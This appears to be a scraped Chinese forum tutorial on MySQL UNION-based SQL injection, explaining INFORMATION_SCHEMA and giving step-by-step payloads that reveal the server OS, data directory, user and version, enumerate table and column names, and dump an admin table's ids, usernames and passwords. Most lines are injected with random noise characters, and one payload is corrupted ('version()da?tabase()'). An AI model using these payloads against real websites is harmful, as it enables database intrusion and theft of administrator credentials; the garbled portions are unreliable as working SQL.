mysql常规注入

admin

本文介绍MYSQL盲注的一些语句和方法

% |% l+ K9 T. S  O! n( ^学习盲注前先了解下 IFORMATION_SCHEMA 库
( r! L9 f' B/ D. s
8 v7 {8 x* }. F# ~0 `4 iMysql5内置的系统数据库IFORMATION_SCHEMA,其结构如MSSQL中的master数据库，其中记录了Mysql中所有
+ G5 n, B% a0 c, k# R存在数据库名、数据库表、表字段。重点要求研究几个对SQL注入有用的数据表说明。
6 q: Y1 E; s: U- s7 x1.得到所有数据库名：
|SCHEMATA ->存储数据库名的表
|---字段：SCHEMA_NAME ->数据库名称
( f) a6 _* e- s+ @7 @% _
& g" |1 ^5 e! H: i1 H- ~|TABLES ->存储表名
7 T5 J) k; J" m( o; V0 V% k9 H|---字段：TABLE_SCHEMA ->表示该表名属于哪个数据库名
' `2 ~) A# c2 }( H& r: n|---字段：TABLE_NAME ->存储表的表名

|COLUMNS ->存储的字段名表
4 v" i9 F/ l& X; e* z|---字段：TABLE_SCHEMA ->该字段所属数据库名
) ^$ H$ `- c2 b" f8 M|---字段：TABLE_NAME ->存储所属表的名称

|---字段：COLUMN_NAME ->该字段的名称

. p% S. V- R& M9 h: r( q! Y" }

###########################################################################

+ |5 s  q4 |( [5 O- B! D# E! V8 u. t0x001 获取系统信息:

union select 1,2,3,4,5,concat(@@global.version_compile_os,0x3c62723e,@@datadir,0x3c62723e,user(),0x3c62723e,version()da?tabase(),0x3c62723e,database()),7,8,9 /*

/*

; Q, j6 l5 @  ~6 t@@global.version_compile_os 获取系统版本

1 y  B1 q# h# N0 r. }9 E; b@@datadir 数据库路径
3 s8 R: x+ d" O& `; k7 @database() 当前数据库名称
2 T- B7 E( S  X0 ]/ a6 W- E* Z0 o, z0x3c62723e 换行HEX值
; M4 H1 C; U7 g  n5 A
8 F5 _5 l5 @, d2 z7 s*/


6 p0 g! m6 ?& p$ A
, D2 G, m+ ~) O* e######################################################################
- a0 W% L6 ^& @" l
9 a* A6 `4 U0 V+ ]0 O0x002 获取表名
! u1 a7 ]  o0 M
union select 1,2,group_concat(table_name),4,5,6,7,8,9 from information_schema.tables where table_schema=0x67617264656e /*
) i$ P% |  P1 N


- \$ R/ C3 w6 A7 u% J0 L3 {/ U/*

. \# a9 ~; T8 t' P: C0 x0x67617264656e 为当前数据库名

group_concat(table_name) 使用group_concat函数 一步获得该库所有表名
6 l) `7 G* @  N2 s( k  Y9 h
*/
9 w' `' C& m6 A5 Z" ^& z
######################################################################

) s* b+ ~" V5 ?, p# W2 G4 m
) k% \1 }# n( c4 q0 {
0x003 获取字段
& g4 a$ _5 V# t6 J
+ a* Y5 v6 p7 r& H4 _: Uunion select 1,2,group_concat(column_name),4,5,6,7,8,9 from information_schema.columns where table_name=0x61646d696e and table_schema=0x67617264656e limit 1 /*
4 g4 }5 ?2 s& ^
/*

  j, M, F; C0 G* p. K; a  ngroup_concat(column_name) 同样是 一口气 获得该表（0x61646d696e）所有字段
* \- }7 \, N4 S5 a/ ^
6 x6 F$ |& U; F' H0x61646d696e ->选择一个表

" x3 |3 a/ [; z6 T0 Q1 K0x67617264656e ->数据库名
3 B: u5 Q/ U2 |9 ?; _' f
*/

#####################################################################


' k6 Q$ b  i0 P
0x004 获取数据

4 U; D3 [' r$ y! wunion select 1,2,3
# D* _0 e) Y7 k; |7 h,4,5,concat(id,0x3c62723e,adname,0x3c62723e,adpassword),6,7,8 from admin
9 ~# V1 n3 }' b% _! G' \# n1 A0 x
union select 1,group_concat(id),group_concat(adname),4,5,group_concat(adpassword),6,7,8 from admin
. o% D6 Q* K0 K# \8 }: A* |
- e6 J: y+ u& u$ n- b; }% j; A7 f

$ d" y# Y; O/ H1 z7 [6 a/*

$ s" t* h7 m" ^$ B4 B" b8 f  F9 X0x3c62723e 换行符号HEX编码
( e! Q$ T$ A$ H; e
group_concat 同时获得该字段所有数据
+ S+ G0 L+ f7 j$ {) ?& `$ Z/ @
*/
' v; k: J1 J9 @5 t